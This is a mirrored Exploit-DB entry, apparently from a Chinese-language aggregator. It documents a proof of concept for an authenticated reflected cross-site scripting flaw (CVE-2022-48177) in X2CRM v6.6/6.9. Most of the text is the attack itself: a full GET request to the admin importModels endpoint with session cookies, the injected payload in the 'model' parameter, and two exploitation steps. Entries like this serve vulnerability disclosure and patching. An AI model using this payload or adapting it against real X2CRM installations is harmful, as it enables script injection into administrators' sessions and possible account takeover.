X2CRM v6.6/6.9 – Reflected Cross-Site Scripting (XSS) (Authenticated) - 体验盒子

作者： Betul Denizler

日期： 2023-04-08

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/51346/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

# Exploit Title: X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated)

# Exploit Author: Betul Denizler

# Vendor Homepage: https://x2crm.com/

# Software Link: https://sourceforge.net/projects/x2engine/

# Version: X2CRM v6.6/6.9

# Tested on: Ubuntu Mate 20.04

# Vulnerable Parameter: model

# CVE: Use CVE-2022-48177

# Date: 27.12.2022

'''

POC REQUEST:

========

GET

/x2crm/x2engine/index.php/admin/importModels?model=asd%22%3E%3Cbody%20onload=%22alert(4)%22%3E

HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0)

Gecko/20100101 Firefox/108.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: LoginForm[username]=admin; LoginForm[rememberMe]=1;

PHPSESSID=959fpkms4abdhtresce9k9rmk3;

YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab;

d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D;

locationTrackingFrequency=60; locationTrackingSwitch=1;

5d8630d289284e8c14d15b14f4b4dc28=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D;

sessionToken=FFWkdliSAKgtUbP1dKP4iswyYRelqyQ4

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

EXPLOITATION

========

1. Select Import Records Model in admin settings

2. Inject payload to the vulnerable parameter in GET request

Payload: "><body onload="alert(4)">

'''